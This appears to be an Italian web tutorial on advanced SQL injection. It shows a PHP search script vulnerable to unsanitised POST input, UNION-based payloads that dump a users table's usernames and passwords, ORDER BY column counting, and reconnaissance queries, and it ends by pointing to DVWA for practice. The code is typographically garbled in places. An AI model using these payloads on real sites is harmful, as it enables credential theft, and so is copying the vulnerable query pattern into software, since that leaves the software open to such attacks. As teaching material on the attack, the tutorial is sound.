SQL INJECTION: come violare un sito internet!

ESEMPI AVANZATI DI SQL INJECTION

Supponiamo ora che all’interno dell’applicazione ci sia un form di ricerca che consenta di filtrare i prodotti presenti all’interno del nostro database: un modulo che accetta un campo nome_prodotto e poi chiami una pagina di ricerca che esegue una query simile alla seguente:

//leggo la variabile di POST

$nome_prodotto=$_POST[‘ nome_prodotto’ ) ;

$query = “SELECT * FROMprodottiWHEREnome =

‘ $nome_prodotto”‘;

$sql = mysqli_query($DB_LINK,$query);

$row = mysqli_fetch_array($sql);

$number = mysqli_num_rows($sql);

for ($i=O; $i<$number; $i++)

{

//stampo tutti gli ID e NOME dei prodotti

print ‘ID=’ . $row[O]. ‘ NOME=’ . $row[l) . ‘ <br> ‘;

$row = mysqli_fetch_array($sql);

}

Abbiamo ancora una volta supposto che non venga fatto alcun controllo sulle variabili passate via POST. Supponiamo che nel form di ricerca, nel campo nome_prodotto, l’utente inserisca la seguente:

‘ UNION SELECT * FROM utenti WHERE ‘1’=’1′

La query eseguita dallo script di ricerca sarebbe modificata nel seguente modo:

SELECT * FROMprodottiWHEREnome = ‘ ‘ UNION SELECT * FROM utenti WHERE’l’=’l’

Supponendo che la tabella prodotti ed utenti abbiano lo stesso numero di colonne il risultato sarebbe quello di visualizzare tutta la tabella utenti!

Ricordiamo che la UNION ci consente di unire i risultati di SELECT diverse. In questo caso, tuttavia, si introduce una complicazione: il fatto che l’uso della UNION impone che le due tabelle unite abbiano il medesimo numero di colonne. Se così non fosse otterremmo un errore simile al seguente:

The used SELECT statements have a different number of columns che ci ricorda quanto appena detto. Infatti l’attaccante non conosce la formulazione esatta della query presente nello script PHP visto sopra, può fare solo delle assunzioni. Esiste comunque il modo di capire il numero di colonne restituite sfruttando la clausola ORDER BY offerta dal linguaggio SQL.

Supponendo che la tabella prodotti sia composta da tre colonne, iniettando nella nostra query iniziale un ORDER BY 1 tramite il form di ricerca la medesima risulterebbe modificata in questo modo:

SELECT * FROM prodotti WHERE nome = ‘ $nome_prodotto’ ORDER BY 1

che restituirebbe un risultato ordinato per la prima delle colonne risultato. Continuando per tentativi si potrebbe iniettare ORDER BY 2. In questo caso il risultato sarebbe ordinato per la seconda colonna. Procedendo ad aumentare sempre di 1 l’indice della clausola di ordinamento e provando con ORDER BY 4 dovremmo ottenere un errore simile al seguente (per il motivo che la quarta colonna non esiste per come abbiamo premesso): Unknown column ‘4’ in ‘order clause’ Questo messaggio, se mostrato, ci darebbe una preziosa informazione: abbiamo raggiunto il limite delle colonne restituite dalla query che stiamo attaccando: di conseguenza possiamo passare a sfruttare la tecnica della UNION vista in precedenza.

Nella realtà potremmo anche non ottenere un messaggio di errore in dipendenza della configurazione del server di turno, ma anche il fatto che la query non restituisca risultati ci potrebbe dare conferma di aver raggiunto il numero di colonne restituite.

Aggiungiamo un’ulteriore complicazione: la tabella utenti è composta da un numero maggiore di colonne rispetto alla tabella prodotti. La query iniettata in precedenza:

SELECT * FROM prodotti WHERE nome =

‘ ‘ UNION SELECT * FROM utenti WHERE’l’=’l’

restituirebbe un errore per quanto appena spiegato.

Ma con la tecnica dell’ORDER BY abbiamo capito che la tabella prodotti mette in gioco tre colonne, quindi potremmo cambiare la porzione di SQL iniettata nel seguente modo:

‘ UNION SELECT user,password,null FROM utenti WHERE ‘1’=’1′

ottenendo l’esecuzione di questa nuova interrogazione:

SELECT * FROMprodottiWHEREnome = ‘ ‘ UNION SELECT user,password,null FROM utenti WHERE ‘1’=’1′

Stiamo dicendo che la SELECT del campo utenti ci restituisce due colonne: la prima è la user, la seconda è la password e la terza è null (non conosciamo il suo nome e non ci interessa).

A patto che esista la tabella utenti con le colonne definite user e password il risultato sarebbe di mostrare tutta la tabella utenti con tre colonne: una con valore null, le altre con le credenziali di tutti gli utenti!

Da qui derivano una serie di potenzialità offerte dalla sintassi SQL, alcune rivolte anche a prendere  informazioni e fare esplorazioni di base:

Ottentere informazioni sulla versione:

SELECT @@VERSION

Sull’utente corrente:

SELECT user()

SELECT system_user()

Sul Database:

SELECT database()

Esistono in rete diversi tools e piattaforme che consentono di esercitarsi nell’applicare tecniche di SQLi. Uno di questi progetti è ad esempio DamnVulnerable Web Application (DVWA): un’applicazione web scritta in PHP e MySQL volutamente vulnerabile alle tecniche di SOL injection (e non solo) utilizzata per dare un aiuto nell’apprendimento delle tecniche di prevenzione.

use-dvwa